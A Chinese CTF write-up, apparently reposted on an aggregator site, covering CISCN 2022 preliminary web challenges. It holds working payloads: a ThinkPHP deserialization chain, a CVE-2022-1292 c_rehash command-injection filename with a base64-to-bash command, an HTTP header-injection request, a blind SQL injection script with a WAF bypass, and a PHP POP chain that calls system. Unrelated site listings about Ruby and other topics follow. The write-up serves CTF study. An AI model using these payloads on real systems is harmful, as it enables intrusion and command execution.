草庐IT

[2022 CISCN]初赛 web题目复现

Snakin_ya 2024-05-23 原文

ezpop

源码泄露www.zip,用网上的链子直接打

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "cat /flag.txt"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

online_crt

考点:

CVE-2022-1292

SSRF

项目分析

项目后端为python+go,其中python部署在外网,go通过python转发到内网

先看python,一共有四个路由:

  • /为主界面

  • /getcrt生成一个x509证书

  • /createlink调用c_rehash创建证书链接

  • /proxy通过代理访问go内网服务

再来看go,有一个admin路由,用以重命名证书文件

解题

题目的考点为CVE-2022-1292,是c_rehash的一个命令注入漏洞

c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接

我们看到漏洞的commit:

https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split

这里没有过滤反引号就直接将文件名拼接到了命令中,那么我们在文件名中添加反引号即可执行任意命令

向上追溯可以发现:

在执行命令前函数会检查文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查

漏洞利用条件

  • 执行c_rehash的目标目录文件可控
  • 文件后缀符合要求
  • 文件内容必须包含证书或者吊销列表
  • 文件名可控

题目中生成证书功能可以创建一个满足要求的文件,那么我们还需要对文件名进行修改

看到内网go部分:

为了实现可控的文件名,我们需要调用go的重命名功能,go的路由在重命名前有两个校验c.Request.URL.RawPath != "" && c.Request.Host == "admin"

我们需要绕过这两个验证

url注入http头

Request.Host为请求的host头,在python中请求包中host头是固定的(test_host_api),这里我们需要想办法让go后端认为host值为admin

python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤,所以我们可以在uri注入一个host头来替换原本的头,注入之后数据包变成:

GET / HTTP /1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


HTTP /1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

这样就可以绕过host头检验

go的RawPath特性

对于Request.URL.RawPath检验,我们通过阅读go net库的源码,发现go语言中会对原始url进行解码(反转义),如果解码后再编码的url和原始url不同,那么RawPath会被设置为原始url,反之会被设置为空

也就是说为了避免RawPath被置空,我们只需将url中任意一个/进行url编码即可

整体流程

  • 访问 /getcrt 路由 生成一个证书 返回证书路径

    static/crt/62a5726a-352a-4538-b236-1972b59ccf1e.crt
    

  • 请求 /proxy 修改证书名为恶意文件名

    这一步需要构造HTTP包注入多个HTTP连接来改HOST并且URL里面有个/要改成%2f绕过检查访问重命名接口

    利用CVE构造命令注入Payloadm,发包改名

    `echo "Y2F0IC9mbGFnID4gZmxhZw==" | base64 -d | bash`.crt
    

    发包:

    GET /proxy HTTP/1.1
    Host: 1.14.71.254:28536
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5FhbXcy21j5NxtoY
    Content-Length: 478
    
    ------WebKitFormBoundary5FhbXcy21j5NxtoY
    Content-Disposition: form-data; name="uri"
    
    / HTTP/1.1
    Host: admin
    Connection: keep-alive
    
    GET /admin%2frename?oldname=62a5726a-352a-4538-b236-1972b59ccf1e.crt&newname=%60%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%49%44%34%67%5a%6d%78%68%5a%77%3d%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%60%2e%63%72%74 HTTP/1.1
    Host: admin
    Connection: close
    
    GET /
    ------WebKitFormBoundary5FhbXcy21j5NxtoY--
    

  • 访问createlink接口,触发命令注入,将flag写入static/crt/flag

  • 最后访问即可

ezpentest

SQL注入

首先进入题目是一个登录框

题目给出了waf:

<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }
?>

这一部分内容和虎符杯类似,我们构造payload

0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'

简单分析一下:

  • 利用like去正则匹配password这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error

  • +''是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是~0,也就是说这个payload其实就是~0+1

  • utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的

  • case用来解决优先级问题

所以构造脚本:

import requests
import string
payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
#这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出
list = string.ascii_letters + string.digits + '^$!_%@&'

proxies={
    'http':'http://127.0.0.1:8080'
}	#这里是可以通过走代理来看下自己打进去的payload有没有啥问题。
url = 'http://1.14.71.254:28706/login.php'
j=''
while 1:
    for i in list:
        if (i in '%_'):  #这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
            i = "\\" + i
        now_payload=payload.format(j+i)
        date={
        'password': now_payload,
        'username': 'aaa'
        }
        print(now_payload)
        re = requests.post(url,data=date)

        print(re.text)
        if  re.status_code==500:

            print("ok")
            j+=i
            print(j)
            break

# 最后得到的账号密码
# nssctfwabbybaboo!@$%!!
# PAssw40d_Y0u3_Never_Konwn!@!!

解混淆

登陆后发现混淆代码,提示有一个1Nd3x_Y0u_N3v3R_Kn0W.php

直接访问得到SomeClass.php的内容

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>

而主页面本身是一段混淆之后的代码,查看源码发现是由phpjiami进行混淆的

https://github.com/wenshui2008/phpjiami_decode

由于phpjiami解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密

<?php
$url ="http://1.14.71.254:28706/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "PHPSESSID=00110b2656dbd4b5dd347f793e516da1");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>

解密之后的文件为:

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

POP链构造

入口点在class E,die方法中是字符串处理,让a为对象会触发__toString方法

接下来触发顺序为

B::__toString->a::see

在类A中,我们只需要令b为原生类,a参数和b参数都是可控的就可以rce了

链子的触发点就是1Nd3x_Y0u_N3v3R_Kn0W.php文件,但是如果我们想把可以rce的文件包含进来,就要创建一个SomeClass类,而这里对some进行了过滤。

我们只需要让include $classname.".php"将文件包含的同时直接进入那个destrust方法销毁,这里可以利用gc回收机制。我们将数组索引置为0,这样就会失去上一个对象的引用从而进入destrust。

还有一种方法可以提前进入destrust,利用fastdestrust,传一个损坏的序列化数据,比如O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;,把后面 }的符号去掉就行,但是这里有对序列化数据格式正确与否进行校验所以无法使用。

POC:

<?php

class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

class SomeClass{
    public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();//换其他原生类都行error啥的都可以
$arr->a = "system";
$arr->b = "cat /nssctfflag";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));

得到flag:

cmdbrowser

暂无复现途径

参考:

https://mp.weixin.qq.com/s/vTF9ArXKp4RCFQPl6mOGkA

https://rce.moe/archives/

有关[2022 CISCN]初赛 web题目复现的更多相关文章

  1. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作? - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  2. 映宇宙2022年营收63亿元:同比下降三成,毛利率提升4.3个百分点 - 2

    3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升

  3. 适用于Web开发的Python还是Ruby? - 2

    Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。11年前关闭。我是一位精通HTML

  4. ruby-on-rails - Web 应用程序中的 API 版本控制 - 2

    我目前正在为一个新网站设计版本化的API。我了解如何为路由命名空间,但我一直坚持在模型中实现版本化方法的最佳方式。下面的代码示例使用的是rails框架,但是事情的原理在大多数web框架之间应该是一致的。目前的路线看起来像这样:MyApp::Application.routes.drawdonamespace:apidonamespace:v1doresources:products,:only=>[:index,:show]endendend和Controller:classApi::V1::ProductsController很明显,我们只是在此处公开Product上可用的属性,如果

  5. ruby-on-rails - Ruby/Rails 和 Sharepoint Web 服务 - 2

    我正在尝试使用ruby​​来使用Sharepoint网络服务。我基本上已经放弃尝试使用NTLM进行身份验证,并暂时将Sharepoint服务器更改为使用基本身份验证。我已成功使用soap4r获得WSDL,但在尝试使用实际Web服务调用时仍然无法进行身份验证。有没有人有过让ruby​​和Sharepoint对话的经验? 最佳答案 我是个新手。但经过很多时间并在更多经验编码人员的帮助下,我能够让ruby​​与Sharepoint2010一起工作。下面的代码需要“ntlm/mechanize”gem。我已经能够使用列表GUID和ListV

  6. 酷早报:10月21日全球Web3加密行业重大资讯大汇总 - 2

    2022年10月21日星期五【数据指标】加密货币总市值:$0.95万亿BTC市值占比:38.51%恐慌贪婪指数:23极度恐慌 【今日快讯】1、【政讯】1.1.1、美联储布拉德:市场预期美联储11月会加息75个基点1.1.2、美联储哈克:将维持加息一段时间1.2、美国10年期国债收益率触及4.197%,为2008年6月以来最高1.3、法国数字转型部长:政府将专注于DeFi和Web31.4、巴西ATM机将于11月3日起支持USDT1.5、美众议院副议长将于11月初加入a16zCrypto担任政府事务主管1.6、香港数字资产托管机构FirstDigitalTrust首席执行官:香港仍是安全

  7. 阿里云Web应用防火墙-WAF - 2

    WAF可以对网站进行扫描,识别API漏洞。API安全如何设置API安全_Web应用防火墙-阿里云帮助中心API安全如何划分API业务用途?登录认证手机验证码认证数据保存数据查询数据导出数据分享数据更新数据删除数据增加下线注销信息发送信息认证邮件信息发送邮箱验证码认证账号密码认证账号注册API安全支持检测哪些敏感数据?敏感数据级别敏感数据类型非敏感数据(N)不涉及。特级敏感数据(L0)与一级敏感数据(L1)或二级敏感数据(L2)相同。单次响应中一级敏感数据(L1)较多时,升级为特级敏感数据(L0)。单次响应中二级敏感数据(L2)较多时,升级为一级敏感数据(L1)或特级敏感数据(L0)。一级敏感数

  8. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  9. IDEA 2022 创建 Spring Boot 项目详解 - 2

    如何用IDEA2022创建并初始化一个SpringBoot项目?目录如何用IDEA2022创建并初始化一个SpringBoot项目?0. 环境说明1.  创建SpringBoot项目 2.编写初始化代码0. 环境说明IDEA2022.3.1JDK1.8SpringBoot1.  创建SpringBoot项目        打开IDEA,选择NewProject创建项目。        填写项目名称、项目构建方式、jdk版本,按需要修改项目文件路径等信息。        选择springboot版本以及需要的包,此处只选择了springweb。        此处需特别注意,若你使用的是jdk1

  10. ruby-on-rails - 使用 Rails(HTTP 请求)连接到 Web 服务? - 2

    我正在使用RubyonRails3,我正在尝试实现API以从Web服务检索帐户信息。也就是说,我想连接到具有Account类的Web服务并从show获取信息。在URIhttp:///accounts/1处路由的操作.此时,在网络服务中accounts_controller.rb我有的文件:classAccountsController@account.to_json}endendend现在我需要一些关于连接到网络服务的建议。在客户端应用程序中,我应该有一个HTTPGET请求,但这是我的问题:连接到发出HTTP请求的Web服务的“最佳”方法是什么?客户端应用程序中的这段代码有效:url=

随机推荐